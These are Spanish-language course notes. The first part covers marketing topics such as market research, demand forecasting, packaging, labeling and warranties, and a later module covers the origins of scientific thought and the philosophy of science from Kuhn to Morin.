Las licencias también resultan ventajosas para los posibles licenciantes. Entre las razones por las cuales se adquiere una concesión de uso de marca se encuentran las siguientes:

  • Aumenta las probabilidades de que el nuevo producto tenga éxito.
  • Pueden reducirse los costos del marketing.

ADMINISTRACIÓN DE BIENES Y SERVICIOS: Es un método sistemático y estructurado para planear, organizar y controlar el desarrollo y forma de los bienes y servicios, conocer las necesidades y preferencias de los clientes. Es también un arma que puede emplearse para obtener éxito en los negocios.

LA INVESTIGACIÓN DE MERCADO

Es una de las funciones de la mercadotecnia que se encarga de obtener y proveer datos e información para la toma de decisiones relacionadas con la práctica de la mercadotecnia, por ejemplo, dando a conocer qué necesidades o deseos existen en un determinado mercado, quiénes son o pueden ser los consumidores o clientes potenciales, cuáles son sus características (qué hacen, dónde compran, porqué, dónde están localizados, cuáles son sus ingresos, etc…), cuál es su grado de predisposición para satisfacer sus necesidades o deseos, entre otros.

La investigación de mercados es el diseño, obtención, análisis y comunicación sistemáticos de los datos y resultados pertinentes para una situación específica de marketing que afronta la compañía. Kotler

Prácticamente todas las decisiones de marketing deben estar acompañadas de estudios y recopilación de información, si una compañía quiere lanzar un nuevo producto necesitará de una investigación de mercados, si desea conocer la respuesta del público a un anuncio comercial también la necesitará, etc.  Cada vez son más las organizaciones que emplean la investigación de mercados para planear y ejecutar acciones de mercadeo, seguramente hay grandes firmas que recurren a ella seis o siete veces en un año, también habrá algunas PYME’s que la empleen un par de veces, pero todas recurren a ella.

 

TIPOS DE INVESTIGACIÓN.

Investigación exploratoria. Es apropiada para las primeras etapas del proceso de toma de decisiones. Esta investigación se diseña con el objeto de obtener una investigación preliminar de la situación, con un gasto mínimo en dinero y tiempo. Está caracterizado por su flexibilidad para que sea sensible a lo inesperado y para descubrir ideas que no se habían reconocido previamente. Es apropiada en situaciones en las que la gerencia está en busca de problemas u oportunidades potenciales de nuevos enfoques, de ideas o hipótesis relacionadas con la situación; o desea, una formulación más precisa del problema y la identificación de variables relacionadas con la situación de decisión. El objetivo es ampliar el campo de las alternativas identificadas, con la esperanza de incluir la alternativa “mejor”.

Investigación concluyente. Suministra información que ayuda al gerente a evaluar y seleccionar la línea de acción. El diseño de la investigación se caracteriza por procedimientos formales. Esto comprende necesidades definidas de objetivos e información relacionados con la investigación. Algunos de los posibles enfoques de investigación incluyen encuesta, experimentos, observaciones y simulación.

Investigación de  desempeño y minotoria. Es el elemento esencial para controlar los programas de mercadeo, en concordancia con los planes. Una desviación del plan puede producir una mala ejecución del programa de mercadeo y/o cambios no anticipados en los factores de situación.

SISTEMA DE INFORMACIÓN DE MARKETING (SIM) puede definirse como un conjunto de relaciones estructuradas, donde intervienen los hombres, las máquinas y los procedimientos, y que tiene por objeto el generar un flujo ordenado de información pertinente, proveniente de fuentes internas y externas a la empresa, destinada a servir de base a las decisiones dentro de las áreas específicas de responsabilidad de marketing.

Para que se pueda hacer una correcta interpretación y aplicación de los datos procedentes de una información deben determinarse:

  • El grado de fiabilidad de la información, sometiéndola a un análisis objetivo examinando el método que se siguió para su obtención, así como las personas e instituciones que recogieron los datos y publicaron la información.
  • El ritmo de actualización que tiene la información utilizada, ya que necesitamos aquella más reciente y que se ajuste a la realidad.
  • El grado de discriminación o de detalle de la información utilizada, para que no se engloben en un mismo concepto datos que permiten conocer los componentes del fenómeno estudiado.

Solamente una adecuada información permite tener una política de empresa, que determine los objetivos a conseguir, la actividad a realizar, las decisiones que se deben tomar, etc.; tener un programa, seguirlo y coordinarlo; y, finalmente, establecer un mecanismo de control que verifique que todo se desarrolla según lo previsto, efectuar las correcciones y las adaptaciones necesarias.

 

EL PRONÓSTICO DE LA DEMANDA consiste en hacer una estimación de nuestras futuras ventas (ya sea en unidades físicas o monetarias) de uno o varios productos (generalmente todos), para un periodo de tiempo determinado (generalmente un mes).

El realizar el pronóstico de la demanda nos permitirá elaborar nuestra proyección o presupuesto de ventas (demanda en unidades físicas multiplicado por el precio del producto) y, a partir de ésta, poder elaborar las demás proyecciones o presupuestos.

Por ejemplo, al pronosticar o calcular a cuánto ascenderán nuestras futuras ventas, podemos calcular cuánto será nuestra producción (cuántos productos necesitaremos producir), a cuánto ascenderán nuestros costos, qué cantidad de personal necesitaremos contratar, a cuánto ascenderá nuestra rentabilidad, etc.

Y, de ese modo, lograr un mejor control, una mayor coordinación, minimizar riesgos, y todas las otras ventajas que conlleva una buena planificación.

Pronóstico de la demanda

Un pronóstico de la demanda es la predicción de lo que sucederá con las ventas de una empresa. Comúnmente se recomienda para determinar el pronóstico de la demanda la utilización de un enfoque multi-funcional. En pocas palabras, se puede deducir que el pronóstico de la demanda, consiste en estimar el consumo de un producto durante un determinado periodo de tiempo futuro, generalmente se calculan la demanda en toda la industria o el mercado y luego se predicen las ventas de los productos de su compañía en ellos. Para conformar un pronóstico de la demanda, se deben considerar las entradas delas ventas, mercadeo, finanzas, así como la producción. Por tanto, el pronóstico de la demanda final es el consenso de todas estas áreas principales. Generalmente se puede poner un grupo de ventas y planificación de operaciones integradas por representantes de los distintos departamentos que se encargarían de preparar el pronóstico de la demanda. El pronóstico de la demanda da origen a varias clases de proyecciones, según la finalidad que se desee; un pronóstico puede referirse a una industria entera, a una línea de productos o bien a una marca individual; también puede aplicarse a la totalidad de un mercado o a un segmento en particular. La estimación puede basarse en factores general eso en un plan específico de mercado; por lo tanto, para que un pronóstico se atienda y sea útil, es importante aclarar exactamente qué cosa describe. El resultado del pronóstico de la demanda es una proyección de ventas, que abarca un periodo determinado y constituye el fundamento de la elaboración de presupuestos y de la planeación operativa en todos los departamentos de una compañía. Determinación de las previsiones de la demanda se realiza a través de los siguientes pasos:• Determinar el uso de las previsiones.• Seleccionar los temas que se pronosticaran.• Determinar la meta temporal de las previsiones a realizarse.• Seleccionar el modelo de previsión.• Tener a la mano los datos• Realizar el pronóstico

Métodos para pronosticar la demanda

Análisis de registros históricos

Consiste en analizar nuestras ventas pasadas y hacer una proyección de las mismas, por ejemplo, si hemos notado que nuestras ventas en los últimos meses han aumentado en un 10%, entonces, lo lógico sería que para este mes que se aproxima también aumenten en un 10%, pero si además notamos que este próximo mes es de temporada alta para el tipo de producto que comercializamos, y que además hemos decidido invertir más en publicidad, entonces podríamos pronosticar que para este próximo mes nuestras ventas aumentarán en un 20%.

Este método requiere que el negocio ya tenga un tiempo de operaciones, para hallar el pronóstico de la demanda para un nuevo negocio o para el lanzamiento de un nuevo producto, sigamos viendo los demás métodos.

Método de la demanda potencial

Consiste en hallar primero la  demanda potencial (máxima demanda posible que se podría dar en un mercado) de todos los productos similares al nuestro que existan en el mercado al cual nos dirigimos, y luego, en base a dicha demanda potencial, determinar la demanda de nuestros productos, teniendo en cuenta aspectos limitativos tales como el tamaño de nuestra inversión, nuestro capital de trabajo, nuestra capacidad de fábrica (capacidad máxima de producción), nuestra capacidad de abastecimiento (disponibilidad de materia prima y mano de obra), nuestro esfuerzo de marketing, etc.; pero también, teniendo en cuenta otros aspectos tales como la demanda de nuestra competencia, nuestra experiencia en el negocios, opiniones de personas con experiencia en el mismo tipo de negocio, etc.

Por ejemplo, si quisiéramos pronosticar la demanda para nuestro negocio de restaurante, primero hallaríamos la demanda potencial que existe para todos los restaurantes que conforman nuestro mercado objetivo (por ejemplo, un distrito, una avenida, un centro comercial), y luego, en base a dicha demanda potencial y a otros aspectos como el tamaño de nuestro negocio, nuestra inversión en publicidad, la información que hemos recopilado de la competencia, etc., determinamos o pronosticamos nuestra demanda.

Método de la investigación de mercados

Consiste en pronosticar nuestras ventas a través de una investigación o estudio de mercado, podemos, por ejemplo, hacer uso de encuestas, en donde algunas de las preguntas podrían ser:

  • “¿tiene usted interés en adquirir este producto?”
  • “¿estaría dispuesto a probar este nuevo producto o servicio?”
  • “¿cuánto estaría dispuesto a pagar por este producto?”
  • “¿cada cuánto tiempo consume o adquiere productos similares?”
  • “¿cuánto gasta en promedio al acudir a negocios similares?”
  • “¿con qué frecuencia acude a negocios similares?”

O también podemos hacer uso de otras técnicas de mercado, por ejemplo, podemos visitar negocios similares al nuestro y calcular el promedio de clientes que tienen y el promedio de consumo de cada uno, o podemos hacer pequeñas entrevistas a clientes de nuestros principales competidores o a personas que hayan estado antes en el mismo tipo de negocio que el nuestro, etc.

Como apunte final, debemos decir que para hallar el pronóstico de la demanda no existe un método o fórmula específica, sino que debemos ser creativos, pudiendo, por ejemplo, hacer uso de varios métodos; al final no importa cuál método hayamos usado, lo importante es lograr el mayor aproximado posible.

EMPAQUE

El empaque está constituido por todas las actividades de diseño y elaboración del contenedor o envoltura. Un paquete es el contenido o envoltura propiamente dichos.

El empaque y el paquete resultante tienen por objetivo cumplir algunas funciones de gran importancia:

  • Proteger el producto en su camino hacia el consumidor
  • Brinda protección después de comprar a el producto
  • Formar parte del programa de marketing industrial de la compañía
  • Formar parte del programa de marketing dirigido a los consumidores

Importancia del empaque en marketing

Tradicionalmente, con el empaque se buscaba ante todo brindar protección. Hoy, una vez que se le ha reconocido plenamente su importancia mercadológica, constituye un factor central de la competencia por conseguir clientes.

En el empaque debe tenerse en cuenta el creciente interés del público por salvaguardar los productos hasta que se compren.

Estrategias de empaque

Para administrar el empaque de un producto, es preciso que los ejecutivos adopten las decisiones estratégicas que a continuación se explican.

Empaque de la línea de productos

Una compañía decidirá si crea una semejanza de familia cuando empaca productos conexos. En el empaque de familia se emplean paquetes muy parecidos para todos los productos o bien empaques con una característica común y claramente perceptible.

Convine servirse del empaque de familia cuando los productos tienen una calidad parecida y se destinan a los mismos usos.

Empaque múltiple

Durante muchos años ha habido una tendencia al empaque múltiple, práctica que consiste en poner varias unidades de un mismo producto dentro de un contenedor.

Cambio de empaque

A veces una empresa tendrá que corregir una característica deficiente de un empaque. O tal vez quiera aprovechar un adelanto tecnológico como el contenedor aséptico, hecho de hojas de papel, aluminio y plástico.

En sus intentos por incrementar el volumen de ventas, muchas compañías han descubierto que cuesta mucho menos rediseñar un empaque que lleva a cabo una campaña publicitaria cara.

Críticas contra el empaque

Hoy el empaque se encuentre en el centro de la atención del público, principalmente a causa de los problemas ambientales. Las críticas más comunes son:

  • El empaque acaba con los recursos naturales.
  • El empaque resulta demasiado caro.
  • Algunas formas de empaque plástico y de latas en aerosol son peligrosas para la salud.
  • El empaque es engañoso
  • El deseo del producto de la mayor comodidad que ofrecen los contenedores desechables choca con su deseo expreso de vivir en un ambiente más sano.

ETIQUETAS

Una etiqueta es la parte de un producto que contiene información acerca del él y del vendedor. Puede formar parte del empaque, aunque también puede ser un rótulo pegado al producto.

 

Tipos de etiqueta

Las etiquetas caen dentro de tres grandes clases:

  • Una etiqueta de marca no es otra cosa que la marca aplicada el producto o empaque.
  • Una etiqueta descriptiva proporciona información objetiva sobre el uso del producto, su construcción, cuidado, desempeño o alguna otra característica pertinente.
  • Una etiqueta de grado indica la calidad del producto con una letra, número o palabra.

Otras características del producto que satisfacen las necesidades

Diseño y color

Una forma de satisfacer a los consumidores y obtener una ventaja diferencial en el diseño del producto, que se refiere a la disposición de los elementos que en conjunto constituyen un bien o servicio. Con un buen diseño se mejora la comerciabilidad del producto, pues facilita su operación, mejora su calidad y su apariencia o reduce los costos de producción.

Igual que el diseño, el color del producto suele ser un factor decisivo de la aceptación o rechazo de un producto, sea éste un vestido, una mesa o un automóvil. La posibilidad de la ventaja diferencial se obtiene al conocer el color adecuado y cuándo cambiar los colores.

El color puede ser un factor importante incluso trtandose de productos de alta tecnología.

Calidad del producto

Una sociedad de profesionales define la calidad del producto como el conjunto de aspectos y características de un bien o servicio que determinan su capacidad de satisfacer necesidades. A pesar de ser una definición aparentemente simple, los consumidores suelen tener opiniones diferentes sobre lo que constituye la calidad de un producto.

Aquí los gustos personales desempeñan un papel decisivo: lo que le gusta a una persona le disgusta a otra. Por tanto, es importante admitir que la calidad, igual que la belleza, es en grande medida una cuestión objetiva.

Para algunas compañías, la calidad óptima significa que el producto ofrece al comprador una experiencia que corresponde a sus expectativas, pero sin que las rebase. Desde este punto de vista, no tiene caso efectuar costos adicionales para brindar una calidad excesiva.

En muchos casos, las compañías se ven obligadas a mejorar la calidad del producto para eliminar una desventaja diferencial.

La calidad del producto debería ser una consideración fundamental no sólo de los fabricantes de bienes, sino también de los productores de servicios.

Garantías

La finalidad de una garantía es asegurar a los compradores que se les resarcirá en caso de que el producto no corresponda a sus expectativas razonables. En el pasado los tribunales parecían reconocer la validez sólo de las garantías expresas, las que se formulaban por escrito o forma oral. Generalmente su cobertura es muy limitada y parecían proteger sobre todo al vencedor contra las reclamaciones del cliente.

En la actualidad los tribunales y los organismos gubernamentales han ampliado la cobertura de las garantías al aceptar la garantía implícita. Ello significa que el vendedor tenía la intención de ofrecer una garantía, aunque no la haya expresado explícitamente.

 

Servicio después de la venta

Muchas compañías ofrecen hoy un servicio después de la venta, sobre todo reparaciones, para cumplir con lo que estipula su garantía. Otras ofrecen servicios como mantenimiento y reparación no sólo para satisfacer a sus clientes, sino también para acrecentar sus ingresos.

Un fabricante puede delegar el servicio después de la venta a intermediarios, remunerar su esfuerzo y hasta capacitar a los que lo prestarán. Esta táctica se advierte principalmente en la industria automotriz y de computadoras personales.

Algunos fabricantes consideran tan lucrativo el mercado de los servicios después de la venta que no quieren renunciar a él.

Igual que el empaque y otras características que satisfacen alguna necesidad y que expusimos en el presente capítulo, el servicio después de la venta puede constituir una ventaja o desventaja diferencial para la empresa. De ahí que deba figurar en la lista de asuntos a los que los gerentes han de prestar una atención constante.

 

MÓDULO I: FUNDAMENTOS DEL DESARROLLO FILOSÓFICO-CIENTÍFICO

 

CONTENIDOS:

 

  • .QUE ES LA INVESTIGACIÓN SOCIAL
  • Origen del pensamiento científico (BREVE RESUMEN).
  • Noción moderna de ciencia.
  • Principios que sustentan la concepción de ciencia moderna.
  • Razones y criterios que han dado origen a una nueva concepción de ciencia.
  • Concepción actual de ciencia.

 

Investigación social. Proceso que, utilizando el método científico, permite obtener nuevos conocimientos en el campo de la realidad social (investigación pura) o que permite estudiar una situación social para diagnosticar necesidades y problemas a los efectos de aplicar los conocimientos con finalidades prácticas (investigación aplicada). Los primeros en utilizar el método científico en las ciencias sociales fueron los economistas del siglo XIX, como Karl Marx, Cournot y Walras.

 

  • Origen del pensamiento científico (REALIZAR UN BREVE RESUMEN).

ANTECEDENTES HISTORICOS   Al analizar  los orígenes históricos de una  gran diversidad de disciplinas científicas, técnicas, sociales y artísticas, se establece que éstas tuvieron una práctica rudimentaria desde que apareció el hombre sobre la Tierra.   Lo mismo sucede con el origen de la CIENCIA, puesto que se afirma que los Actos  del pensar  son universales y  tan  antiguos  como  el  hombre; y  que debido a  sus limitaciones físicas,  los hombres  prehistóricos tuvieron  la necesidad  de  agruparse  y  cooperar  entre  sí  para  poder  alcanzar,  de manera conjunta, determinados objetivos  con mayor eficiencia  y economía de acción y recursos.

 

Las actividades del  hombre prehistórico tenían como primordial objetivo el satisfacer  sus  necesidades relacionadas con la Supervivencia  en  un  medio de peligros, tensiones, incomodidades, etc. Mientras un hombre se dedicaba a lograr  sus  fines  por  sí  mismo,  realizaba Actos  de  pensamiento intuitivo; cuando  actuaba  en  conjunto,  dentro  del  grupo  se  daban  aspectos rudimentarios  de  pensamientos  intuitivos  en  conjunto,  apoyamos  en  la experiencia de actividades anteriores.   La caza de animales para aprovechar su carne como alimento y la piel como vestido,  fue de  las  actividades  principales  que  durante  mucho  tiempo realizaron los hombres prehistóricos y que sirve como indicio innegable de una forma de Organización Primitiva y de la transmisión  experiencias en los grupos. Realizar tal actividad en grupo requería un Plan de Acción para logar el objetivo con mayor facilidad y menores riesgos para la seguridad de los individuos,  puesto que  cazar  animales salvajes era  una  peligrosa aventura.   En  principio el  Plan  de  Acción  consistía  en  asustar  a  los  animales arrojándoles piedras, emitiendo gritos,  etc.,  para dirigirlos  hacia  un precipicio  o  trampas  previamente  construidas  para  la  consecución  del objetivo.

 

Los  métodos  fueron  evolucionando  en  la  medida  en  que  utilizaban  su Inteligencia para inventar armas (mazo, lanza, y posteriormente el arco y la flecha),  como  instrumentos  para  mejorar  las  formas  de  realizar  sus actividades de caza, estaban sustentados en la observación y la necesidades de su entorno; pero esto se logró gracias a la experiencia y al razonamiento humano.   Todo  lo  anterior  requería  de  la  Cooperación  Humana,  donde  podemos identificar un objetivo común de  grupo,  una  división  rudimentaria del trabajo, y por deducción lógica, a ciertas personas que ejercían el liderazgo

sobre otras.

 

 

ORIGENES DEL CONOCIMIENTO

 

Desde tiempos  remotos, el hombre  ya  se preocupaba por las cuestiones

fundamentales de la realidad que afectaban de modo especial a su existencia:

el origen, la naturaleza, la historia y la finalidad de los seres y, entre éstos,

del hombre mismo.

Como  respuesta  que  se  esforzaba  por  dar  a  esos  interrogantes  no  era  de

orden racional –como lo  hará  más tarde la filosofía-, sino de naturaleza

mágica y mítico-religiosa, construyó un  saber anterior a la  filosofía al cual

los filósofos suelen llamar “saber prefilosófico”.

 

El  saber  prefilosófico  comprende,  entonces,  los  planteamientos  más

profundos y  universales  del hombre,  planteamientos  que  mucho  después

(propiamente  en  el  siglo  VI  a.C.)  la  filosofía  retoma  y  trata  de  contestar  de

forma racional y sistemática.

 

Como  se  ha  señalado, el  saber  prefilosófico  se  preocupa,  en  consecuencia,

por conocer y  explicar, de forma mágica y  mítico-religiosa, el origen, la

naturaleza, la historia y la finalidad de los seres.

NOCIÓN MODERNA DE CIENCIA. ¿Qué es Ciencia moderna?

Se entiende por ciencia moderna a la manera de concebir el mundo y el saber científico que sirve para describirlo que se construyó en Occidente durante los siglos XVI y XVII, en lo que comúnmente se denomina la Revolución científica del Renacimiento.

La ciencia moderna está regida por principios fundamentales cuya aparición y demostración significó una potente renovación de los campos de la química, física, astronomía, biología y anatomía humana, bajo la idea de que todos los fenómenos de la realidad responden a una formulación teórica comprensible.

Podría decirse que las bases de la ciencia contemporánea, con todas sus vertientes y posibilidades, está en esta renovación científica que ocurrió en base a dos etapas: una primera de recuperación del legado filosófico y científico de la antigüedad clásica, satanizado por los siglos de dominio religioso sobre la mentalidad europea, y una segunda de innovación y cambios radicales, cuyo mejor ejemplo es la sustitución del modelo geocéntrico del universo propuesto por Aristóteles y defendido por la Iglesia, por el Heliocéntrico de Nicolás Copérnico.

Características de la ciencia moderna

La ciencia moderna se caracteriza por:

  • El método científico. Postulado formalmente por René Descartes en el siglo XVII, surge el método propio de las ciencias como una forma de investigación que separara el saber científico de la tradición, la autoridad y la fe, permitiéndole una relación directa y propia con sus objetos de interés, en lugar de los razonamientos históricos previos.
  • El empirismo. De manera semejante, la ciencia adoptó el empirismo, es decir, la valoración de las experiencias perceptibles y reproducibles como modelo de conocimiento del mundo real, en lugar de apegarse al razonamiento aislado como ocurría en la antigüedad.
  • La experimentación. El paso lógico en esta evolución científica fue el método experimental, que proponía la reproducción en un ambiente controlado de un fenómeno específico de la realidad para poder determinar cómo ocurre y qué fuerzas están involucradas en él, poniendo a prueba las creencias mediante la demostración en vivo de las teorías científicas.
  • La matematización. La matemática es una de las ciencias más antiguas que existen, y fue siempre empleada por los filósofos y naturalistas; pero a partir de la Revolución Científica se las empieza a aplicar para la medición de los fenómenos existentes en la realidad, considerando la certidumbre que brindaban como la única alcanzable por el hombre, “equivalente a la de Dios” diría Galileo Galilei.
  • La institucionalización. La Ciencia moderna surgida en ese entonces da los primeros pasos hacia su existencia como una institución del saber humano, separada de los campos tradicionales de la filosofía, la religión y la literatura, pasando a ocupar un papel predominante en el mundo por venir.

 

 

 

LA CONCEPCIÓN MODERNA DE LA CIENCIA

 

 

 

La revolución científica del siglo XVII da origen a la ciencia moderna, transformando la imagen del mundo.  La física adquiere el estatus de modelo de ciencia.
Características de la Ciencia Moderna
Matematización: se concibe al mundo natural como un libro escrito en caracteres matemáticos (Galileo). Lo importante es el estudio cuantitativo.  Todo lo que no puede reducirse a variables cuantitativas se rechaza. El concepto antiguo de la ciencia (Aristóteles) es rechazado, dado que su investigación se basaba en las cualidades de los objetos Mecanicismo: se estudian fenómenos y no realidades, no se buscan causas sino leyes que agrupen fenómenos Experimentación: hay un predominio del método inductivo sobre el deductivo, la única manera de acercarse a la realidad es experimentando con ella. Es en el S XVII que se produce la unión entre Ciencia y Técnica

 

Concepción actual de la ciencia.

En 1963, Kuhn publicó el libro La estructura de las revoluciones científicas, donde asegura que la comunidad científica se constituye mediante la aceptación de paradigmas, queriendo indicar con ello conquistas científicas universalmente aceptadas, que durante el tiempo determinado ofrecen un modelo de problemas y de soluciones aceptables para quienes trabajan en un campo de investigaciones. Según Kuhn, el patrón de desarrollo es el cambio o la transición sucesivas de un paradigma a otro, mediante un proceso de revolución científica que ocurre después de periodos largos de tradición.

Lakatos y la metodología de los programas de investigación científica

Lakatos considera que la ciencia se compone de programas de investigación científica que coexisten y compiten entre sí. De esta manera la ciencia progresa por la competencia permanente que se establece entre dichos programas de investigación que pretenden ofrecer mayor eficacia ante las diversas y nuevas situaciones que cotidianamente surgen de la realidad.

 

Paul K. Feyerabend y la anarquía del método

Para Feyerabend, el estudio detallado de lo que ha sido y sigue siendo la ciencia ofrece un resultado: no ha habido jamás un método; no puede haber un método. Es necesario abandonar la quimera según la cual las reglas ineguas y simplistas propuestas por los epistemólogos pueden dar razón de aquel laberinto de interacciones que nos muestran la historia real. Consideraba que ningún método científico resultaría eficaz para el progreso de la ciencia, porque ningún método es aplicable con efectividad para el estudio de todos los casos.

 

Morin y la complejidad y la integración del conocimiento

La ciencia debe ser un conocimiento abierto, inacabado y autocorrectivo. Morin promueve la idea de un pensamiento que permita desarrollar un nuevo paradigma de complejidad, no para oponerse a la especialización del conocimiento de saberes, sino para contar con ellos y otros más.